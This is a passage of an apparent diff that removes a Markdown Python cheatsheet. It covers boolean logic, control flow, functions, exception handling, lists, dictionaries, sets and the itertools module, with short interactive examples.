-| Expression        | Evaluates to |
-| ----------------- | ------------ |
-| `True and True`   | `True`       |
-| `True and False`  | `False`      |
-| `False and True`  | `False`      |
-| `False and False` | `False`      |
-
-The _or_ Operator's _Truth_ Table:
-
-| Expression       | Evaluates to |
-| ---------------- | ------------ |
-| `True or True`   | `True`       |
-| `True or False`  | `True`       |
-| `False or True`  | `True`       |
-| `False or False` | `False`      |
-
-The _not_ Operator's _Truth_ Table:
-
-| Expression  | Evaluates to |
-| ----------- | ------------ |
-| `not True`  | `False`      |
-| `not False` | `True`       |
-
-_Return to the Top_
-
-#### Mixing Boolean and Comparison Operators
-
-```python
->>> (4 < 5) and (5 < 6)
-True
-```
-
-```python
->>> (4 < 5) and (9 < 6)
-False
-```
-
-```python
->>> (1 == 2) or (2 == 2)
-True
-```
-
-You can also use multiple Boolean operators in an expression, along with the comparison operators:
-
-```python
->>> 2 + 2 == 4 and not 2 + 2 == 5 and 2 * 2 == 2 + 2
-True
-```
-
-_Return to the Top_
-
-#### if Statements
-
-```python
-if name == 'Alice':
-    print('Hi, Alice.')
-```
-
-_Return to the Top_
-
-#### else Statements
-
-```python
-name = 'Bob'
-if name == 'Alice':
-    print('Hi, Alice.')
-else:
-    print('Hello, stranger.')
-```
-
-_Return to the Top_
-
-#### elif Statements
-
-```python
-name = 'Bob'
-age = 5
-if name == 'Alice':
-    print('Hi, Alice.')
-elif age < 12:
-    print('You are not Alice, kiddo.')
-```
-
-```python
-name = 'Bob'
-age = 30
-if name == 'Alice':
-    print('Hi, Alice.')
-elif age < 12:
-    print('You are not Alice, kiddo.')
-else:
-    print('You are neither Alice nor a little kid.')
-```
-
-_Return to the Top_
-
-#### while Loop Statements
-
-```python
-spam = 0
-while spam < 5:
-    print('Hello, world.')
-    spam = spam + 1
-```
-
-_Return to the Top_
-
-#### break Statements
-
-If the execution reaches a break statement, it immediately exits the while loop's clause:
-
-```python
-while True:
-    print('Please type your name.')
-    name = input()
-    if name == 'your name':
-        break
-print('Thank you!')
-```
-
-_Return to the Top_
-
-#### continue Statements
-
-When the program execution reaches a continue statement, the program execution immediately jumps back to the start of the loop.
-
-```python
-while True:
-    print('Who are you?')
-    name = input()
-    if name != 'Joe':
-        continue
-    print('Hello, Joe. What is the password? (It is a fish.)')
-    password = input()
-    if password == 'swordfish':
-        break
-print('Access granted.')
-```
-
-_Return to the Top_
-
-#### for Loops and the range() Function
-
-```python
->>> print('My name is')
->>> for i in range(5):
->>>     print('Jimmy Five Times ({})'.format(str(i)))
-My name is
-Jimmy Five Times (0)
-Jimmy Five Times (1)
-Jimmy Five Times (2)
-Jimmy Five Times (3)
-Jimmy Five Times (4)
-```
-
-The _range()_ function can also be called with three arguments. The first two arguments will be the start and stop values, and the third will be the step argument. The step is the amount that the variable is increased by after each iteration.
-
-```python
->>> for i in range(0, 10, 2):
->>>    print(i)
-0
-2
-4
-6
-8
-```
-
-You can even use a negative number for the step argument to make the for loop count down instead of up.
-
-```python
->>> for i in range(5, -1, -1):
->>>     print(i)
-5
-4
-3
-2
-1
-0
-```
-
-#### For else statement
-
-This allows to specify a statement to execute in case of the full loop has been executed. Only useful when a `break` condition can occur in the loop:
-
-```python
->>> for i in [1, 2, 3, 4, 5]:
->>>    if i == 3:
->>>        break
->>> else:
->>>    print("only executed when no item of the list is equal to 3")
-```
-
-_Return to the Top_
-
-#### Importing Modules
-
-```python
-import random
-for i in range(5):
-    print(random.randint(1, 10))
-```
-
-```python
-import random, sys, os, math
-```
-
-```python
-from random import *
-```
-
-_Return to the Top_
-
-#### Ending a Program Early with sys.exit()
-
-```python
-import sys
-
-while True:
-    print('Type exit to exit.')
-    response = input()
-    if response == 'exit':
-        sys.exit()
-    print('You typed {}.'.format(response))
-```
-
-_Return to the Top_
-
-### Functions
-
-```python
->>> def hello(name):
->>>     print('Hello {}'.format(name))
->>>
->>> hello('Alice')
->>> hello('Bob')
-Hello Alice
-Hello Bob
-```
-
-_Return to the Top_
-
-#### Return Values and return Statements
-
-When creating a function using the def statement, you can specify what the return value should be with a return statement. A return statement consists of the following:
-
--   The return keyword.
--   The value or expression that the function should return.
-
-```python
-import random
-def getAnswer(answerNumber):
-    if answerNumber == 1:
-        return 'It is certain'
-    elif answerNumber == 2:
-        return 'It is decidedly so'
-    elif answerNumber == 3:
-        return 'Yes'
-    elif answerNumber == 4:
-        return 'Reply hazy try again'
-    elif answerNumber == 5:
-        return 'Ask again later'
-    elif answerNumber == 6:
-        return 'Concentrate and ask again'
-    elif answerNumber == 7:
-        return 'My reply is no'
-    elif answerNumber == 8:
-        return 'Outlook not so good'
-    elif answerNumber == 9:
-        return 'Very doubtful'
-
-r = random.randint(1, 9)
-fortune = getAnswer(r)
-print(fortune)
-```
-
-_Return to the Top_
-
-#### The None Value
-
-```python
->>> spam = print('Hello!')
-Hello!
-```
-
-```python
->>> spam is None
-True
-```
-
-Note: never compare to `None` with the `==` operator. Always use `is`.
-
-_Return to the Top_
-
-#### Keyword Arguments and print()
-
-```python
->>> print('Hello', end='')
->>> print('World')
-HelloWorld
-```
-
-```python
->>> print('cats', 'dogs', 'mice')
-cats dogs mice
-```
-
-```python
->>> print('cats', 'dogs', 'mice', sep=',')
-cats,dogs,mice
-```
-
-_Return to the Top_
-
-#### Local and Global Scope
-
--   Code in the global scope cannot use any local variables.
--   However, a local scope can access global variables.
--   Code in a function's local scope cannot use variables in any other local scope.
--   You can use the same name for different variables if they are in different scopes. That is, there can be a local variable named spam and a global variable also named spam.
-
-_Return to the Top_
-
-#### The global Statement
-
-If you need to modify a global variable from within a function, use the global statement:
-
-```python
->>> def spam():
->>>     global eggs
->>>     eggs = 'spam'
->>>
->>> eggs = 'global'
->>> spam()
->>> print(eggs)
-spam
-```
-
-There are four rules to tell whether a variable is in a local scope or global scope:
-
-1. If a variable is being used in the global scope (that is, outside of all functions), then it is always a global variable.
-2. If there is a global statement for that variable in a function, it is a global variable.
-3. Otherwise, if the variable is used in an assignment statement in the function, it is a local variable.
-4. But if the variable is not used in an assignment statement, it is a global variable.
-
-_Return to the Top_
-
-### Exception Handling
-
-#### Basic exception handling
-
-```python
->>> def spam(divideBy):
->>>     try:
->>>         return 42 / divideBy
->>>     except ZeroDivisionError as e:
->>>         print('Error: Invalid argument: {}'.format(e))
->>>
->>> print(spam(2))
->>> print(spam(12))
->>> print(spam(0))
->>> print(spam(1))
-21.0
-3.5
-Error: Invalid argument: division by zero
-None
-42.0
-```
-
-_Return to the Top_
-
-#### Final code in exception handling
-
-Code inside the `finally` section is always executed, no matter if an exception has been raised or not, and even if an exception is not caught.
-
-```python
->>> def spam(divideBy):
->>>     try:
->>>         return 42 / divideBy
->>>     except ZeroDivisionError as e:
->>>         print('Error: Invalid argument: {}'.format(e))
->>>     finally:
->>>         print("-- division finished --")
->>> print(spam(2))
--- division finished --
-21.0
->>> print(spam(12))
--- division finished --
-3.5
->>> print(spam(0))
-Error: Invalid Argument division by zero
--- division finished --
-None
->>> print(spam(1))
--- division finished --
-42.0
-```
-
-_Return to the Top_
-
-### Lists
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
-
->>> spam
-['cat', 'bat', 'rat', 'elephant']
-```
-
-_Return to the Top_
-
-#### Getting Individual Values in a List with Indexes
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[0]
-'cat'
-```
-
-```python
->>> spam[1]
-'bat'
-```
-
-```python
->>> spam[2]
-'rat'
-```
-
-```python
->>> spam[3]
-'elephant'
-```
-
-_Return to the Top_
-
-#### Negative Indexes
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[-1]
-'elephant'
-```
-
-```python
->>> spam[-3]
-'bat'
-```
-
-```python
->>> 'The {} is afraid of the {}.'.format(spam[-1], spam[-3])
-'The elephant is afraid of the bat.'
-```
-
-_Return to the Top_
-
-#### Getting Sublists with Slices
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[0:4]
-['cat', 'bat', 'rat', 'elephant']
-```
-
-```python
->>> spam[1:3]
-['bat', 'rat']
-```
-
-```python
->>> spam[0:-1]
-['cat', 'bat', 'rat']
-```
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[:2]
-['cat', 'bat']
-```
-
-```python
->>> spam[1:]
-['bat', 'rat', 'elephant']
-```
-
-Slicing the complete list will perform a copy:
-
-```python
->>> spam2 = spam[:]
-['cat', 'bat', 'rat', 'elephant']
->>> spam.append('dog')
->>> spam
-['cat', 'bat', 'rat', 'elephant', 'dog']
->>> spam2
-['cat', 'bat', 'rat', 'elephant']
-```
-
-_Return to the Top_
-
-#### Getting a List's Length with len()
-
-```python
->>> spam = ['cat', 'dog', 'moose']
->>> len(spam)
-3
-```
-
-_Return to the Top_
-
-#### Changing Values in a List with Indexes
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[1] = 'aardvark'
-
->>> spam
-['cat', 'aardvark', 'rat', 'elephant']
-
->>> spam[2] = spam[1]
-
->>> spam
-['cat', 'aardvark', 'aardvark', 'elephant']
-
->>> spam[-1] = 12345
-
->>> spam
-['cat', 'aardvark', 'aardvark', 12345]
-```
-
-_Return to the Top_
-
-#### List Concatenation and List Replication
-
-```python
->>> [1, 2, 3] + ['A', 'B', 'C']
-[1, 2, 3, 'A', 'B', 'C']
-
->>> ['X', 'Y', 'Z'] * 3
-['X', 'Y', 'Z', 'X', 'Y', 'Z', 'X', 'Y', 'Z']
-
->>> spam = [1, 2, 3]
-
->>> spam = spam + ['A', 'B', 'C']
-
->>> spam
-[1, 2, 3, 'A', 'B', 'C']
-```
-
-_Return to the Top_
-
-#### Removing Values from Lists with del Statements
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> del spam[2]
->>> spam
-['cat', 'bat', 'elephant']
-```
-
-```python
->>> del spam[2]
->>> spam
-['cat', 'bat']
-```
-
-_Return to the Top_
-
-#### Using for Loops with Lists
-
-```python
->>> supplies = ['pens', 'staplers', 'flame-throwers', 'binders']
->>> for i, supply in enumerate(supplies):
->>>     print('Index {} in supplies is: {}'.format(str(i), supply))
-Index 0 in supplies is: pens
-Index 1 in supplies is: staplers
-Index 2 in supplies is: flame-throwers
-Index 3 in supplies is: binders
-```
-
-_Return to the Top_
-
-#### Looping Through Multiple Lists with zip()
-
-```python
->>> name = ['Pete', 'John', 'Elizabeth']
->>> age = [6, 23, 44]
->>> for n, a in zip(name, age):
->>>     print('{} is {} years old'.format(n, a))
-Pete is 6 years old
-John is 23 years old
-Elizabeth is 44 years old
-```
-
-#### The in and not in Operators
-
-```python
->>> 'howdy' in ['hello', 'hi', 'howdy', 'heyas']
-True
-```
-
-```python
->>> spam = ['hello', 'hi', 'howdy', 'heyas']
->>> 'cat' in spam
-False
-```
-
-```python
->>> 'howdy' not in spam
-False
-```
-
-```python
->>> 'cat' not in spam
-True
-```
-
-_Return to the Top_
-
-#### The Multiple Assignment Trick
-
-The multiple assignment trick is a shortcut that lets you assign multiple variables with the values in a list in one line of code. So instead of doing this:
-
-```python
->>> cat = ['fat', 'orange', 'loud']
-
->>> size = cat[0]
-
->>> color = cat[1]
-
->>> disposition = cat[2]
-```
-
-You could type this line of code:
-
-```python
->>> cat = ['fat', 'orange', 'loud']
-
->>> size, color, disposition = cat
-```
-
-The multiple assignment trick can also be used to swap the values in two variables:
-
-```python
->>> a, b = 'Alice', 'Bob'
->>> a, b = b, a
->>> print(a)
-'Bob'
-```
-
-```python
->>> print(b)
-'Alice'
-```
-
-_Return to the Top_
-
-#### Augmented Assignment Operators
-
-| Operator    | Equivalent        |
-| ----------- | ----------------- |
-| `spam += 1` | `spam = spam + 1` |
-| `spam -= 1` | `spam = spam - 1` |
-| `spam *= 1` | `spam = spam * 1` |
-| `spam /= 1` | `spam = spam / 1` |
-| `spam %= 1` | `spam = spam % 1` |
-
-Examples:
-
-```python
->>> spam = 'Hello'
->>> spam += ' world!'
->>> spam
-'Hello world!'
-
->>> bacon = ['Zophie']
->>> bacon *= 3
->>> bacon
-['Zophie', 'Zophie', 'Zophie']
-```
-
-_Return to the Top_
-
-#### Finding a Value in a List with the index() Method
-
-```python
->>> spam = ['Zophie', 'Pooka', 'Fat-tail', 'Pooka']
-
->>> spam.index('Pooka')
-1
-```
-
-_Return to the Top_
-
-#### Adding Values to Lists with the append() and insert() Methods
-
-**append()**:
-
-```python
->>> spam = ['cat', 'dog', 'bat']
-
->>> spam.append('moose')
-
->>> spam
-['cat', 'dog', 'bat', 'moose']
-```
-
-**insert()**:
-
-```python
->>> spam = ['cat', 'dog', 'bat']
-
->>> spam.insert(1, 'chicken')
-
->>> spam
-['cat', 'chicken', 'dog', 'bat']
-```
-
-_Return to the Top_
-
-#### Removing Values from Lists with remove()
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
-
->>> spam.remove('bat')
-
->>> spam
-['cat', 'rat', 'elephant']
-```
-
-If the value appears multiple times in the list, only the first instance of the value will be removed.
-
-_Return to the Top_
-
-#### Removing Values from Lists with pop()
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
-
->>> spam.pop()
-'elephant'
-
->>> spam
-['cat', 'bat', 'rat']
-
->>> spam.pop(0)
-'cat'
-
->>> spam
-['bat', 'rat']
-```
-
-_Return to the Top_
-
-#### Sorting the Values in a List with the sort() Method
-
-```python
->>> spam = [2, 5, 3.14, 1, -7]
->>> spam.sort()
->>> spam
-[-7, 1, 2, 3.14, 5]
-```
-
-```python
->>> spam = ['ants', 'cats', 'dogs', 'badgers', 'elephants']
->>> spam.sort()
->>> spam
-['ants', 'badgers', 'cats', 'dogs', 'elephants']
-```
-
-You can also pass True for the reverse keyword argument to have sort() sort the values in reverse order:
-
-```python
->>> spam.sort(reverse=True)
->>> spam
-['elephants', 'dogs', 'cats', 'badgers', 'ants']
-```
-
-If you need to sort the values in regular alphabetical order, pass str. lower for the key keyword argument in the sort() method call:
-
-```python
->>> spam = ['a', 'z', 'A', 'Z']
->>> spam.sort(key=str.lower)
->>> spam
-['a', 'A', 'z', 'Z']
-```
-
-You can use the built-in function `sorted` to return a new list:
-
-```python
->>> spam = ['ants', 'cats', 'dogs', 'badgers', 'elephants']
->>> sorted(spam)
-['ants', 'badgers', 'cats', 'dogs', 'elephants']
-```
-
-_Return to the Top_
-
-#### Tuple Data Type
-
-```python
->>> eggs = ('hello', 42, 0.5)
->>> eggs[0]
-'hello'
-```
-
-```python
->>> eggs[1:3]
-(42, 0.5)
-```
-
-```python
->>> len(eggs)
-3
-```
-
-The main way that tuples are different from lists is that tuples, like strings, are immutable.
-
-_Return to the Top_
-
-#### Converting Types with the list() and tuple() Functions
-
-```python
->>> tuple(['cat', 'dog', 5])
-('cat', 'dog', 5)
-```
-
-```python
->>> list(('cat', 'dog', 5))
-['cat', 'dog', 5]
-```
-
-```python
->>> list('hello')
-['h', 'e', 'l', 'l', 'o']
-```
-
-_Return to the Top_
-
-### Dictionaries and Structuring Data
-
-Example Dictionary:
-
-```python
-myCat = {'size': 'fat', 'color': 'gray', 'disposition': 'loud'}
-```
-
-_Return to the Top_
-
-#### The keys(), values(), and items() Methods
-
-values():
-
-```python
->>> spam = {'color': 'red', 'age': 42}
->>> for v in spam.values():
->>>     print(v)
-red
-42
-```
-
-keys():
-
-```python
->>> for k in spam.keys():
->>>     print(k)
-color
-age
-```
-
-items():
-
-```python
->>> for i in spam.items():
->>>     print(i)
-('color', 'red')
-('age', 42)
-```
-
-Using the keys(), values(), and items() methods, a for loop can iterate over the keys, values, or key-value pairs in a dictionary, respectively.
-
-```python
->>> spam = {'color': 'red', 'age': 42}
->>>
->>> for k, v in spam.items():
->>>     print('Key: {} Value: {}'.format(k, str(v)))
-Key: age Value: 42
-Key: color Value: red
-```
-
-_Return to the Top_
-
-#### Checking Whether a Key or Value Exists in a Dictionary
-
-```python
->>> spam = {'name': 'Zophie', 'age': 7}
-```
-
-```python
->>> 'name' in spam.keys()
-True
-```
-
-```python
->>> 'Zophie' in spam.values()
-True
-```
-
-```python
->>> # You can omit the call to keys() when checking for a key
->>> 'color' in spam
-False
-```
-
-```python
->>> 'color' not in spam
-True
-```
-
-_Return to the Top_
-
-#### The get() Method
-
-Get has two parameters: key and default value if the key did not exist
-
-```python
->>> picnic_items = {'apples': 5, 'cups': 2}
-
->>> 'I am bringing {} cups.'.format(str(picnic_items.get('cups', 0)))
-'I am bringing 2 cups.'
-```
-
-```python
->>> 'I am bringing {} eggs.'.format(str(picnic_items.get('eggs', 0)))
-'I am bringing 0 eggs.'
-```
-
-_Return to the Top_
-
-#### The setdefault() Method
-
-Let's consider this code:
-
-```python
-spam = {'name': 'Pooka', 'age': 5}
-
-if 'color' not in spam:
-    spam['color'] = 'black'
-```
-
-Using `setdefault` we could write the same code more succinctly:
-
-```python
->>> spam = {'name': 'Pooka', 'age': 5}
->>> spam.setdefault('color', 'black')
-'black'
-```
-
-```python
->>> spam
-{'color': 'black', 'age': 5, 'name': 'Pooka'}
-```
-
-```python
->>> spam.setdefault('color', 'white')
-'black'
-```
-
-```python
->>> spam
-{'color': 'black', 'age': 5, 'name': 'Pooka'}
-```
-
-_Return to the Top_
-
-#### Pretty Printing
-
-```python
->>> import pprint
->>>
->>> message = 'It was a bright cold day in April, and the clocks were striking
->>> thirteen.'
->>> count = {}
->>>
->>> for character in message:
->>>     count.setdefault(character, 0)
->>>     count[character] = count[character] + 1
->>>
->>> pprint.pprint(count)
-{' ': 13,
- ',': 1,
- '.': 1,
- 'A': 1,
- 'I': 1,
- 'a': 4,
- 'b': 1,
- 'c': 3,
- 'd': 3,
- 'e': 5,
- 'g': 2,
- 'h': 3,
- 'i': 6,
- 'k': 2,
- 'l': 3,
- 'n': 4,
- 'o': 2,
- 'p': 1,
- 'r': 5,
- 's': 3,
- 't': 6,
- 'w': 2,
- 'y': 1}
-```
-
-_Return to the Top_
-
-#### Merge two dictionaries
-
-```python
-# in Python 3.5+:
->>> x = {'a': 1, 'b': 2}
->>> y = {'b': 3, 'c': 4}
->>> z = {**x, **y}
->>> z
-{'c': 4, 'a': 1, 'b': 3}
-
-# in Python 2.7
->>> z = dict(x, **y)
->>> z
-{'c': 4, 'a': 1, 'b': 3}
-```
-
-### sets
-
-From the Python 3 [documentation](https://docs.python.org/3/tutorial/datastructures.html)
-
-> A set is an unordered collection with no duplicate elements. Basic uses include membership testing and eliminating duplicate entries. Set objects also support mathematical operations like union, intersection, difference, and symmetric difference.
-
-#### Initializing a set
-
-There are two ways to create sets: using curly braces `{}` and the built-in function `set()`
-
-```python
->>> s = {1, 2, 3}
->>> s = set([1, 2, 3])
-```
-
-When creating an empty set, be sure to not use the curly braces `{}` or you will get an empty dictionary instead.
-
-```python
->>> s = {}
->>> type(s)
-<class 'dict'>
-```
-
-#### sets: unordered collections of unique elements
-
-A set automatically remove all the duplicate values.
-
-```python
->>> s = {1, 2, 3, 2, 3, 4}
->>> s
-{1, 2, 3, 4}
-```
-
-And as an unordered data type, they can't be indexed.
-
-```python
->>> s = {1, 2, 3}
->>> s[0]
-Traceback (most recent call last):
-  File "<stdin>", line 1, in <module>
-TypeError: 'set' object does not support indexing
->>>
-```
-
-#### set add() and update()
-
-Using the `add()` method we can add a single element to the set.
-
-```python
->>> s = {1, 2, 3}
->>> s.add(4)
->>> s
-{1, 2, 3, 4}
-```
-
-And with `update()`, multiple ones .
-
-```python
->>> s = {1, 2, 3}
->>> s.update([2, 3, 4, 5, 6])
->>> s
-{1, 2, 3, 4, 5, 6}  # remember, sets automatically remove duplicates
-```
-
-#### set remove() and discard()
-
-Both methods will remove an element from the set, but `remove()` will raise a `key error` if the value doesn't exist.
-
-```python
->>> s = {1, 2, 3}
->>> s.remove(3)
->>> s
-{1, 2}
->>> s.remove(3)
-Traceback (most recent call last):
-  File "<stdin>", line 1, in <module>
-KeyError: 3
-```
-
-`discard()` won't raise any errors.
-
-```python
->>> s = {1, 2, 3}
->>> s.discard(3)
->>> s
-{1, 2}
->>> s.discard(3)
->>>
-```
-
-#### set union()
-
-`union()` or `|` will create a new set that contains all the elements from the sets provided.
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {3, 4, 5}
->>> s1.union(s2)  # or 's1 | s2'
-{1, 2, 3, 4, 5}
-```
-
-#### set intersection
-
-`intersection` or `&` will return a set containing only the elements that are common to all of them.
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {2, 3, 4}
->>> s3 = {3, 4, 5}
->>> s1.intersection(s2, s3)  # or 's1 & s2 & s3'
-{3}
-```
-
-#### set difference
-
-`difference` or `-` will return only the elements that are unique to the first set (invoked set).
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {2, 3, 4}
->>> s1.difference(s2)  # or 's1 - s2'
-{1}
->>> s2.difference(s1) # or 's2 - s1'
-{4}
-```
-
-#### set symetric_difference
-
-`symetric_difference` or `^` will return all the elements that are not common between them.
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {2, 3, 4}
->>> s1.symmetric_difference(s2)  # or 's1 ^ s2'
-{1, 4}
-```
-
-_Return to the Top_
-
-### itertools Module
-
-The _itertools_ module is a collection of tools intended to be fast and use memory efficiently when handling iterators (like lists or dictionaries).
-
-From the official [Python 3.x documentation](https://docs.python.org/3/library/itertools.html):
-
-> The module standardizes a core set of fast, memory efficient tools that are useful by themselves or in combination. Together, they form an "iterator algebra" making it possible to construct specialized tools succinctly and efficiently in pure Python.
-
-The _itertools_ module comes in the standard library and must be imported.
-
-The [operator](https://docs.python.org/3/library/operator.html) module will also be used. This module is not necessary when using itertools, but needed for some of the examples below.
-
-_Return to the Top_
-
-#### accumulate()
-
-Makes an iterator that returns the results of a function.
-
-```python
-itertools.accumulate(iterable[, func])
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5]
->>> result = itertools.accumulate(data, operator.mul)
->>> for each in result:
->>>    print(each)
-1
-2
-6
-24
-120
-```
-
-The operator.mul takes two numbers and multiplies them:
-
-```python
-operator.mul(1, 2)
-2
-operator.mul(2, 3)
-6
-operator.mul(6, 4)
-24
-operator.mul(24, 5)
-120
-```
-
-Passing a function is optional:
-
-```python
->>> data = [5, 2, 6, 4, 5, 9, 1]
->>> result = itertools.accumulate(data)
->>> for each in result:
->>>    print(each)
-5
-7
-13
-17
-22
-31
-32
-```
-
-If no function is designated the items will be summed:
-
-```python
-5
-5 + 2 = 7
-7 + 6 = 13
-13 + 4 = 17
-17 + 5 = 22
-22 + 9 = 31
-31 + 1 = 32
-```
-
-_Return to the Top_
-
-#### combinations()
-
-Takes an iterable and a integer. This will create all the unique combination that have r members.
-
-```python
-itertools.combinations(iterable, r)
-```
-
-Example:
-
-```python
->>> shapes = ['circle', 'triangle', 'square',]
->>> result = itertools.combinations(shapes, 2)
->>> for each in result:
->>>    print(each)
-('circle', 'triangle')
-('circle', 'square')
-('triangle', 'square')
-```
-
-_Return to the Top_
-
-#### combinations_with_replacement()
-
-Just like combinations(), but allows individual elements to be repeated more than once.
-
-```python
-itertools.combinations_with_replacement(iterable, r)
-```
-
-Example:
-
-```python
->>> shapes = ['circle', 'triangle', 'square']
->>> result = itertools.combinations_with_replacement(shapes, 2)
->>> for each in result:
->>>    print(each)
-('circle', 'circle')
-('circle', 'triangle')
-('circle', 'square')
-('triangle', 'triangle')
-('triangle', 'square')
-('square', 'square')
-```
-
-_Return to the Top_
-
-#### count()
-
-Makes an iterator that returns evenly spaced values starting with number start.
-
-```python
-itertools.count(start=0, step=1)
-```
-
-Example:
-
-```python
->>> for i in itertools.count(10,3):
->>>    print(i)
->>>    if i > 20:
->>>        break
-10
-13
-16
-19
-22
-```
-
-_Return to the Top_
-
-#### cycle()
-
-This function cycles through an iterator endlessly.
-
-```python
-itertools.cycle(iterable)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue', 'violet']
->>> for color in itertools.cycle(colors):
->>>    print(color)
-red
-orange
-yellow
-green
-blue
-violet
-red
-orange
-```
-
-When reached the end of the iterable it start over again from the beginning.
-
-_Return to the Top_
-
-#### chain()
-
-Take a series of iterables and return them as one long iterable.
-
-```python
-itertools.chain(*iterables)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue']
->>> shapes = ['circle', 'triangle', 'square', 'pentagon']
->>> result = itertools.chain(colors, shapes)
->>> for each in result:
->>>    print(each)
-red
-orange
-yellow
-green
-blue
-circle
-triangle
-square
-pentagon
-```
-
-_Return to the Top_
-
-#### compress()
-
-Filters one iterable with another.
-
-```python
-itertools.compress(data, selectors)
-```
-
-Example:
-
-```python
->>> shapes = ['circle', 'triangle', 'square', 'pentagon']
->>> selections = [True, False, True, False]
->>> result = itertools.compress(shapes, selections)
->>> for each in result:
->>>    print(each)
-circle
-square
-```
-
-_Return to the Top_
-
-#### dropwhile()
-
-Make an iterator that drops elements from the iterable as long as the predicate is true; afterwards, returns every element.
-
-```python
-itertools.dropwhile(predicate, iterable)
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1]
->>> result = itertools.dropwhile(lambda x: x<5, data)
->>> for each in result:
->>>    print(each)
-5
-6
-7
-8
-9
-10
-1
-```
-
-_Return to the Top_
-
-#### filterfalse()
-
-Makes an iterator that filters elements from iterable returning only those for which the predicate is False.
-
-```python
-itertools.filterfalse(predicate, iterable)
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1]
->>> result = itertools.filterfalse(lambda x: x<5, data)
->>> for each in result:
->>>    print(each)
-5
-6
-7
-8
-9
-10
-```
-
-_Return to the Top_
-
-#### groupby()
-
-Simply put, this function groups things together.
-
-```python
-itertools.groupby(iterable, key=None)
-```
-
-Example:
-
-```python
->>> robots = [{
-    'name': 'blaster',
-    'faction': 'autobot'
-}, {
-    'name': 'galvatron',
-    'faction': 'decepticon'
-}, {
-    'name': 'jazz',
-    'faction': 'autobot'
-}, {
-    'name': 'metroplex',
-    'faction': 'autobot'
-}, {
-    'name': 'megatron',
-    'faction': 'decepticon'
-}, {
-    'name': 'starcream',
-    'faction': 'decepticon'
-}]
->>> for key, group in itertools.groupby(robots, key=lambda x: x['faction']):
->>>    print(key)
->>>    print(list(group))
-autobot
-[{'name': 'blaster', 'faction': 'autobot'}]
-decepticon
-[{'name': 'galvatron', 'faction': 'decepticon'}]
-autobot
-[{'name': 'jazz', 'faction': 'autobot'}, {'name': 'metroplex', 'faction': 'autobot'}]
-decepticon
-[{'name': 'megatron', 'faction': 'decepticon'}, {'name': 'starcream', 'faction': 'decepticon'}]
-```
-
-_Return to the Top_
-
-#### islice()
-
-This function is very much like slices. This allows you to cut out a piece of an iterable.
-
-```python
-itertools.islice(iterable, start, stop[, step])
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue',]
->>> few_colors = itertools.islice(colors, 2)
->>> for each in few_colors:
->>>    print(each)
-red
-orange
-```
-
-_Return to the Top_
-
-#### permutations()
-
-```python
-itertools.permutations(iterable, r=None)
-```
-
-Example:
-
-```python
->>> alpha_data = ['a', 'b', 'c']
->>> result = itertools.permutations(alpha_data)
->>> for each in result:
->>>    print(each)
-('a', 'b', 'c')
-('a', 'c', 'b')
-('b', 'a', 'c')
-('b', 'c', 'a')
-('c', 'a', 'b')
-('c', 'b', 'a')
-```
-
-_Return to the Top_
-
-#### product()
-
-Creates the cartesian products from a series of iterables.
-
-```python
->>> num_data = [1, 2, 3]
->>> alpha_data = ['a', 'b', 'c']
->>> result = itertools.product(num_data, alpha_data)
->>> for each in result:
-    print(each)
-(1, 'a')
-(1, 'b')
-(1, 'c')
-(2, 'a')
-(2, 'b')
-(2, 'c')
-(3, 'a')
-(3, 'b')
-(3, 'c')
-```
-
-_Return to the Top_
-
-#### repeat()
-
-This function will repeat an object over and over again. Unless, there is a times argument.
-
-```python
-itertools.repeat(object[, times])
-```
-
-Example:
-
-```python
->>> for i in itertools.repeat("spam", 3):
-    print(i)
-spam
-spam
-spam
-```
-
-_Return to the Top_
-
-#### starmap()
-
-Makes an iterator that computes the function using arguments obtained from the iterable.
-
-```python
-itertools.starmap(function, iterable)
-```
-
-Example:
-
-```python
->>> data = [(2, 6), (8, 4), (7, 3)]
->>> result = itertools.starmap(operator.mul, data)
->>> for each in result:
->>>    print(each)
-12
-32
-21
-```
-
-_Return to the Top_
-
-#### takewhile()
-
-The opposite of dropwhile(). Makes an iterator and returns elements from the iterable as long as the predicate is true.
-
-```python
-itertools.takewhile(predicate, iterable)
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1]
->>> result = itertools.takewhile(lambda x: x<5, data)
->>> for each in result:
->>>    print(each)
-1
-2
-3
-4
-```
-
-_Return to the Top_
-
-#### tee()
-
-Return n independent iterators from a single iterable.
-
-```python
-itertools.tee(iterable, n=2)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue']
->>> alpha_colors, beta_colors = itertools.tee(colors)
->>> for each in alpha_colors:
->>>    print(each)
-red
-orange
-yellow
-green
-blue
-```
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue']
->>> alpha_colors, beta_colors = itertools.tee(colors)
->>> for each in beta_colors:
->>>    print(each)
-red
-orange
-yellow
-green
-blue
-```
-
-_Return to the Top_
-
-#### zip_longest()
-
-Makes an iterator that aggregates elements from each of the iterables. If the iterables are of uneven length, missing values are filled-in with fillvalue. Iteration continues until the longest iterable is exhausted.
-
-```python
-itertools.zip_longest(*iterables, fillvalue=None)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue',]
